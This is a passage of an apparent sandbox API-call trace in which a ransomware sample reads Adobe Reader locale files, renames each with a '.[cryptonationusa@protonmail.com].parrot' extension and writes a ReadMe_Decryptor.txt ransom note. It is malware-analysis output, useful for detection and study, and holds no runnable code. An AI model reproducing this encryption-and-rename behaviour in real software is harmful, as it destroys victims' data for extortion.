hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0252.161] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.162] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\AdobeCollabSync.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\adobecollabsync.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\AdobeCollabSync.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\adobecollabsync.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.170] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.170] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.172] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.172] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ec00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7ec00, lpOverlapped=0x0) returned 1 [0252.227] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.266] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Annots.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\annots.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Annots.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\annots.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.279] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.279] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.280] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.281] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3600, lpOverlapped=0x0) returned 1 [0252.283] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.284] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\BRdlang32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\brdlang32.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\BRdlang32.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\brdlang32.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.291] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.291] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.305] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.305] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fc00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1fc00, lpOverlapped=0x0) returned 1 [0252.310] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.313] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Checkers.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\checkers.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Checkers.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\checkers.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.320] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.320] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.322] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.322] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x20800, lpOverlapped=0x0) returned 1 [0252.327] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.330] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DigSig.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\digsig.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DigSig.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\digsig.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.389] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.389] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.391] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.391] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4e00, lpOverlapped=0x0) returned 1 [0252.399] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.400] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DVA.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\dva.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DVA.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\dva.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.406] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.406] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.408] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.408] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1c00, lpOverlapped=0x0) returned 1 [0252.409] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.409] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\eBook.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ebook.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\eBook.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ebook.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.415] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.415] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.416] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.416] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa600, lpOverlapped=0x0) returned 1 [0252.418] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.419] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\EScript.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\escript.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\EScript.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\escript.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.425] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.425] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.426] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.426] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0252.427] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.427] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\IA32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ia32.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\IA32.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ia32.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.440] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.440] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.442] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.442] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x14600, lpOverlapped=0x0) returned 1 [0252.446] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.449] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\makeaccessible.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\makeaccessible.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\makeaccessible.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\makeaccessible.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.455] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.456] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.463] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.464] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x14a00, lpOverlapped=0x0) returned 1 [0252.466] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.467] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Multimedia.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\multimedia.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Multimedia.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\multimedia.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.473] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.473] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.474] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.475] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0252.476] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.476] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\pddom.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\pddom.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\pddom.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\pddom.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.482] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.482] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.489] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.515] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x83c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x83c00, lpOverlapped=0x0) returned 1 [0252.551] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.801] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\PPKLITE.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ppklite.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\PPKLITE.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ppklite.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dca28 | out: hHeap=0x5b0000) returned 1 [0252.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0252.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0252.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0252.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0252.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0252.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0252.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\ReadMe_Decryptor.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0252.811] GetFileType (hFile=0x1b0) returned 0x1 [0252.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0252.822] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.822] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.843] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.844] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0252.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0252.854] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0252.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0252.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0252.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0252.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0252.854] GetLastError () returned 0x0 [0252.982] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.983] WriteFile (in: hFile=0x1b0, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0252.986] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.986] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0252.989] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x156b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0252.989] CloseHandle (hObject=0x1b0) returned 1 [0252.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0252.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x32dca28 [0252.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0252.989] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\RdLang32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\rdlang32.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\RdLang32.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\rdlang32.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dca28 | out: hHeap=0x5b0000) returned 1 [0252.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0252.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0252.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0252.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0252.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0252.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0252.999] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.999] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.000] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.000] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0253.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0253.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0253.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0253.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0253.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0253.001] GetLastError () 